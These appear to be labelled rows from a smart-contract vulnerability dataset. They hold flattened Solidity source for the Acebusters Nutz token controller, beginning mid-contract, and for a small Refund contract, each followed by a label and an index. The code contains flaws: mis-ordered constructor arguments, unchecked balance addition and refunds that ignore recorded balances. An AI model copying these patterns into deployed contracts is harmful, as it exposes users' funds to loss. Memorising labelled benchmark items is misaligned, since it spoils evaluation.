mapping(bytes32 => bool) bools; mapping(address => uint256) bals; } mapping(bytes32 => Crate) crates; function setUInt(bytes32 _crate, bytes32 _key, uint256 _value) onlyOwner { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) constant returns(uint256) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) onlyOwner { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) constant returns(address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) onlyOwner { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 _key) constant returns(bool) { return crates[_crate].bools[_key]; } function setBal(bytes32 _crate, address _key, uint256 _value) onlyOwner { crates[_crate].bals[_key] = _value; } function getBal(bytes32 _crate, address _key) constant returns(uint256) { return crates[_crate].bals[_key]; } } contract NutzEnabled is Pausable, StorageEnabled { using SafeMath for uint; address public nutzAddr; modifier onlyNutz() { require(msg.sender == nutzAddr); _; } function NutzEnabled(address _nutzAddr, address _storageAddr) StorageEnabled(_storageAddr) { nutzAddr = _nutzAddr; } function totalSupply() constant returns (uint256) { return activeSupply(); } function completeSupply() constant returns (uint256) { return activeSupply().add(powerPool()).add(burnPool()); } mapping (address => mapping (address => uint)) internal allowed; function allowance(address _owner, address _spender) constant returns (uint256) { return allowed[_owner][_spender]; } function approve(address _owner, address _spender, uint256 _amountBabz) public onlyNutz whenNotPaused { require(_owner != _spender); allowed[_owner][_spender] = _amountBabz; } function _transfer(address _from, address _to, uint256 _amountBabz, bytes _data) internal { require(_to != address(this)); require(_to != address(0)); require(_amountBabz > 0); require(_from != _to); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); _setBabzBalanceOf(_to, babzBalanceOf(_to).add(_amountBabz)); } function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused { _transfer(_from, _to, _amountBabz, _data); } function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused { allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz); _transfer(_from, _to, _amountBabz, _data); } } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract ControllerInterface { bool public paused; address public nutzAddr; function babzBalanceOf(address _owner) constant returns (uint256); function activeSupply() constant returns (uint256); function burnPool() constant returns (uint256); function powerPool() constant returns (uint256); function totalSupply() constant returns (uint256); function completeSupply() constant returns (uint256); function allowance(address _owner, address _spender) constant returns (uint256); function approve(address _owner, address _spender, uint256 _amountBabz) public; function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public; function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public; function floor() constant returns (uint256); function ceiling() constant returns (uint256); function purchase(address _sender, uint256 _value, uint256 _price) public returns (uint256); function sell(address _from, uint256 _price, uint256 _amountBabz); function powerBalanceOf(address _owner) constant returns (uint256); function outstandingPower() constant returns (uint256); function authorizedPower() constant returns (uint256); function powerTotalSupply() constant returns (uint256); function powerUp(address _sender, address _from, uint256 _amountBabz) public; function downTick(address _owner, uint256 _now) public; function createDownRequest(address _owner, uint256 _amountPower) public; function downs(address _owner) constant public returns(uint256, uint256, uint256); function downtime() constant returns (uint256); } contract PullPayment is Ownable { using SafeMath for uint256; uint public dailyLimit = 1000000000000000000000; uint public lastDay; uint public spentToday; mapping(address => uint256) internal payments; modifier onlyNutz() { require(msg.sender == ControllerInterface(owner).nutzAddr()); _; } modifier whenNotPaused () { require(!ControllerInterface(owner).paused()); _; } function balanceOf(address _owner) constant returns (uint256 value) { return uint192(payments[_owner]); } function paymentOf(address _owner) constant returns (uint256 value, uint256 date) { value = uint192(payments[_owner]); date = (payments[_owner] >> 192); return; } function changeDailyLimit(uint _dailyLimit) public onlyOwner { dailyLimit = _dailyLimit; } function changeWithdrawalDate(address _owner, uint256 _newDate) public onlyOwner { payments[_owner] = (_newDate << 192) + uint192(payments[_owner]); } function asyncSend(address _dest) public payable onlyNutz { require(msg.value > 0); uint256 newValue = msg.value.add(uint192(payments[_dest])); uint256 newDate; if (isUnderLimit(msg.value)) { uint256 date = payments[_dest] >> 192; newDate = (date > now) ? date : now; } else { newDate = now.add(3 days); } spentToday = spentToday.add(msg.value); payments[_dest] = (newDate << 192) + uint192(newValue); } function withdraw() public whenNotPaused { address untrustedRecipient = msg.sender; uint256 amountWei = uint192(payments[untrustedRecipient]); require(amountWei != 0); require(now >= (payments[untrustedRecipient] >> 192)); require(this.balance >= amountWei); payments[untrustedRecipient] = 0; assert(untrustedRecipient.call.gas(1000).value(amountWei)()); } function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay.add(24 hours)) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) { return false; } return true; } } contract Nutz is Ownable, ERC20 { event Sell(address indexed seller, uint256 value); string public name = "Acebusters Nutz"; string public symbol = "NTZ"; uint256 public decimals = 12; function balanceOf(address _owner) constant returns (uint) { return ControllerInterface(owner).babzBalanceOf(_owner); } function totalSupply() constant returns (uint256) { return ControllerInterface(owner).totalSupply(); } function activeSupply() constant returns (uint256) { return ControllerInterface(owner).activeSupply(); } function allowance(address _owner, address _spender) constant returns (uint256) { return ControllerInterface(owner).allowance(_owner, _spender); } function floor() constant returns (uint256) { return ControllerInterface(owner).floor(); } function ceiling() constant returns (uint256) { return ControllerInterface(owner).ceiling(); } function powerPool() constant returns (uint256) { return ControllerInterface(owner).powerPool(); } function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal { uint256 codeLength; assembly { codeLength := extcodesize(_to) } if(codeLength>0) { ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to); untrustedReceiver.tokenFallback(_from, _value, _data); } } function powerDown(address powerAddr, address _holder, uint256 _amountBabz) public onlyOwner { bytes memory empty; _checkDestination(powerAddr, _holder, _amountBabz, empty); Transfer(powerAddr, _holder, _amountBabz); } function asyncSend(address _pullAddr, address _dest, uint256 _amountWei) public onlyOwner { assert(_amountWei <= this.balance); PullPayInterface(_pullAddr).asyncSend.value(_amountWei)(_dest); } function approve(address _spender, uint256 _amountBabz) public { ControllerInterface(owner).approve(msg.sender, _spender, _amountBabz); Approval(msg.sender, _spender, _amountBabz); } function transfer(address _to, uint256 _amountBabz, bytes _data) public returns (bool) { ControllerInterface(owner).transfer(msg.sender, _to, _amountBabz, _data); Transfer(msg.sender, _to, _amountBabz); _checkDestination(msg.sender, _to, _amountBabz, _data); return true; } function transfer(address _to, uint256 _amountBabz) public returns (bool) { bytes memory empty; return transfer(_to, _amountBabz, empty); } function transData(address _to, uint256 _amountBabz, bytes _data) public returns (bool) { return transfer(_to, _amountBabz, _data); } function transferFrom(address _from, address _to, uint256 _amountBabz, bytes _data) public returns (bool) { ControllerInterface(owner).transferFrom(msg.sender, _from, _to, _amountBabz, _data); Transfer(_from, _to, _amountBabz); _checkDestination(_from, _to, _amountBabz, _data); return true; } function transferFrom(address _from, address _to, uint256 _amountBabz) public returns (bool) { bytes memory empty; return transferFrom(_from, _to, _amountBabz, empty); } function () public payable { uint256 price = ControllerInterface(owner).ceiling(); purchase(price); require(msg.value > 0); } function purchase(uint256 _price) public payable { require(msg.value > 0); uint256 amountBabz = ControllerInterface(owner).purchase(msg.sender, msg.value, _price); Transfer(owner, msg.sender, amountBabz); bytes memory empty; _checkDestination(address(this), msg.sender, amountBabz, empty); } function sell(uint256 _price, uint256 _amountBabz) public { require(_amountBabz != 0); ControllerInterface(owner).sell(msg.sender, _price, _amountBabz); Sell(msg.sender, _amountBabz); } function powerUp(uint256 _amountBabz) public { Transfer(msg.sender, owner, _amountBabz); ControllerInterface(owner).powerUp(msg.sender, msg.sender, _amountBabz); } } contract MarketEnabled is NutzEnabled { uint256 constant INFINITY = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; address public pullAddr; uint256 internal purchasePrice; uint256 internal salePrice; function MarketEnabled(address _pullAddr, address _storageAddr, address _nutzAddr) NutzEnabled(_nutzAddr, _storageAddr) { pullAddr = _pullAddr; } function ceiling() constant returns (uint256) { return purchasePrice; } function floor() constant returns (uint256) { if (nutzAddr.balance == 0) { return INFINITY; } uint256 maxFloor = activeSupply().mul(1000000).div(nutzAddr.balance); return maxFloor >= salePrice ? maxFloor : salePrice; } function moveCeiling(uint256 _newPurchasePrice) public onlyAdmins { require(_newPurchasePrice <= salePrice); purchasePrice = _newPurchasePrice; } function moveFloor(uint256 _newSalePrice) public onlyAdmins { require(_newSalePrice >= purchasePrice); if (_newSalePrice < INFINITY) { require(nutzAddr.balance >= activeSupply().mul(1000000).div(_newSalePrice)); } salePrice = _newSalePrice; } function purchase(address _sender, uint256 _value, uint256 _price) public onlyNutz whenNotPaused returns (uint256) { require(purchasePrice > 0); require(_price == purchasePrice); uint256 amountBabz = purchasePrice.mul(_value).div(1000000); require(amountBabz > 0); uint256 activeSup = activeSupply(); uint256 powPool = powerPool(); if (powPool > 0) { uint256 powerShare = powPool.mul(amountBabz).div(activeSup.add(burnPool())); _setPowerPool(powPool.add(powerShare)); } _setActiveSupply(activeSup.add(amountBabz)); _setBabzBalanceOf(_sender, babzBalanceOf(_sender).add(amountBabz)); return amountBabz; } function sell(address _from, uint256 _price, uint256 _amountBabz) public onlyNutz whenNotPaused { uint256 effectiveFloor = floor(); require(_amountBabz != 0); require(effectiveFloor != INFINITY); require(_price == effectiveFloor); uint256 amountWei = _amountBabz.mul(1000000).div(effectiveFloor); require(amountWei > 0); uint256 powPool = powerPool(); uint256 activeSup = activeSupply(); if (powPool > 0) { uint256 powerShare = powPool.mul(_amountBabz).div(activeSup.add(burnPool())); _setPowerPool(powPool.sub(powerShare)); } _setActiveSupply(activeSup.sub(_amountBabz)); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); Nutz(nutzAddr).asyncSend(pullAddr, _from, amountWei); } function allocateEther(uint256 _amountWei, address _beneficiary) public onlyAdmins { require(_amountWei > 0); require(nutzAddr.balance.sub(_amountWei) >= activeSupply().mul(1000000).div(salePrice)); Nutz(nutzAddr).asyncSend(pullAddr, _beneficiary, _amountWei); } } contract PowerEnabled is MarketEnabled { address public powerAddr; uint256 public maxPower = 0; uint256 public downtime; uint public constant MIN_SHARE_OF_POWER = 100000; modifier onlyPower() { require(msg.sender == powerAddr); _; } function PowerEnabled(address _powerAddr, address _pullAddr, address _storageAddr, address _nutzAddr) MarketEnabled(_pullAddr, _nutzAddr, _storageAddr) { powerAddr = _powerAddr; } function setMaxPower(uint256 _maxPower) public onlyAdmins { require(outstandingPower() <= _maxPower && _maxPower < authorizedPower()); maxPower = _maxPower; } function setDowntime(uint256 _downtime) public onlyAdmins { downtime = _downtime; } function minimumPowerUpSizeBabz() public constant returns (uint256) { uint256 completeSupplyBabz = completeSupply(); if (completeSupplyBabz == 0) { return INFINITY; } return completeSupplyBabz.div(MIN_SHARE_OF_POWER); } function dilutePower(uint256 _amountBabz, uint256 _amountPower) public onlyAdmins { uint256 authorizedPow = authorizedPower(); uint256 totalBabz = completeSupply(); if (authorizedPow == 0) { _setAuthorizedPower((_amountPower > 0) ? _amountPower : _amountBabz.add(totalBabz)); } else { _setAuthorizedPower(authorizedPow.mul(totalBabz.add(_amountBabz)).div(totalBabz)); } _setBurnPool(burnPool().add(_amountBabz)); } function _slashPower(address _holder, uint256 _value, bytes32 _data) internal { uint256 previouslyOutstanding = outstandingPower(); _setOutstandingPower(previouslyOutstanding.sub(_value)); uint256 powPool = powerPool(); uint256 slashingBabz = _value.mul(powPool).div(previouslyOutstanding); _setPowerPool(powPool.sub(slashingBabz)); Power(powerAddr).slashPower(_holder, _value, _data); } function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyAdmins { _setPowerBalanceOf(_holder, powerBalanceOf(_holder).sub(_value)); _slashPower(_holder, _value, _data); } function slashDownRequest(uint256 _pos, address _holder, uint256 _value, bytes32 _data) public onlyAdmins { var (total, left, start) = downs(_holder); left = left.sub(_value); _setDownRequest(_holder, total, left, start); _slashPower(_holder, _value, _data); } function powerUp(address _sender, address _from, uint256 _amountBabz) public onlyNutz whenNotPaused { uint256 authorizedPow = authorizedPower(); require(authorizedPow != 0); require(_amountBabz != 0); uint256 totalBabz = completeSupply(); require(totalBabz != 0); uint256 amountPow = _amountBabz.mul(authorizedPow).div(totalBabz); uint256 outstandingPow = outstandingPower(); require(outstandingPow.add(amountPow) <= maxPower); uint256 powBal = powerBalanceOf(_from).add(amountPow); require(powBal >= authorizedPow.div(MIN_SHARE_OF_POWER)); if (_sender != _from) { allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz); } _setOutstandingPower(outstandingPow.add(amountPow)); _setPowerBalanceOf(_from, powBal); _setActiveSupply(activeSupply().sub(_amountBabz)); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); _setPowerPool(powerPool().add(_amountBabz)); Power(powerAddr).powerUp(_from, amountPow); } function powerTotalSupply() constant returns (uint256) { uint256 issuedPower = authorizedPower().div(2); return maxPower >= issuedPower ? maxPower : issuedPower; } function _vestedDown(uint256 _total, uint256 _left, uint256 _start, uint256 _now) internal constant returns (uint256) { if (_now <= _start) { return 0; } uint256 timePassed = _now.sub(_start); if (timePassed > downtime) { timePassed = downtime; } uint256 amountVested = _total.mul(timePassed).div(downtime); uint256 amountFrozen = _total.sub(amountVested); if (_left <= amountFrozen) { return 0; } return _left.sub(amountFrozen); } function createDownRequest(address _owner, uint256 _amountPower) public onlyPower whenNotPaused { require(_amountPower >= authorizedPower().div(MIN_SHARE_OF_POWER)); _setPowerBalanceOf(_owner, powerBalanceOf(_owner).sub(_amountPower)); var (, left, ) = downs(_owner); uint256 total = _amountPower.add(left); _setDownRequest(_owner, total, total, now); } function downTick(address _holder, uint256 _now) public onlyPower whenNotPaused { var (total, left, start) = downs(_holder); uint256 amountPow = _vestedDown(total, left, start, _now); uint256 minStep = total.div(10); require(left <= minStep || minStep <= amountPow); uint256 amountBabz = amountPow.mul(completeSupply()).div(authorizedPower()); _setOutstandingPower(outstandingPower().sub(amountPow)); left = left.sub(amountPow); _setPowerPool(powerPool().sub(amountBabz)); _setActiveSupply(activeSupply().add(amountBabz)); _setBabzBalanceOf(_holder, babzBalanceOf(_holder).add(amountBabz)); if (left == 0) { start = 0; total = 0; } _setDownRequest(_holder, total, left, start); Nutz(nutzAddr).powerDown(powerAddr, _holder, amountBabz); } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Controller is PowerEnabled { function Controller(address _powerAddr, address _pullAddr, address _nutzAddr, address _storageAddr) PowerEnabled(_powerAddr, _pullAddr, _nutzAddr, _storageAddr) { } function setContracts(address _storageAddr, address _nutzAddr, address _powerAddr, address _pullAddr) public onlyAdmins whenPaused { storageAddr = _storageAddr; nutzAddr = _nutzAddr; powerAddr = _powerAddr; pullAddr = _pullAddr; } function changeDailyLimit(uint256 _dailyLimit) public onlyAdmins { PullPayment(pullAddr).changeDailyLimit(_dailyLimit); } function kill(address _newController) public onlyAdmins whenPaused { if (powerAddr != address(0)) { Ownable(powerAddr).transferOwnership(msg.sender); } if (pullAddr != address(0)) { Ownable(pullAddr).transferOwnership(msg.sender); } if (nutzAddr != address(0)) { Ownable(nutzAddr).transferOwnership(msg.sender); } if (storageAddr != address(0)) { Ownable(storageAddr).transferOwnership(msg.sender); } selfdestruct(_newController); } }
1
2,612
pragma solidity ^0.4.18; contract Refund { address owner; function Refund() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } mapping (address => uint256) public balances; function add_addys(address[] _addys, uint256[] _values) onlyOwner { for (uint i = 0; i < _addys.length ; i++) { balances[_addys[i]] += (_values[i]); } } function refund() { uint256 eth_to_withdraw = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(eth_to_withdraw); } function direct_refunds(address[] _addys, uint256[] _values) onlyOwner { for (uint i = 0; i < _addys.length ; i++) { uint256 to_refund = (_values[i]); balances[_addys[i]] = 0; _addys[i].transfer(to_refund); } } function change_specific_addy(address _addy, uint256 _val) onlyOwner { balances[_addy] = (_val); } function () payable {} function withdraw_ether() onlyOwner { owner.transfer(this.balance); } }
1
2,824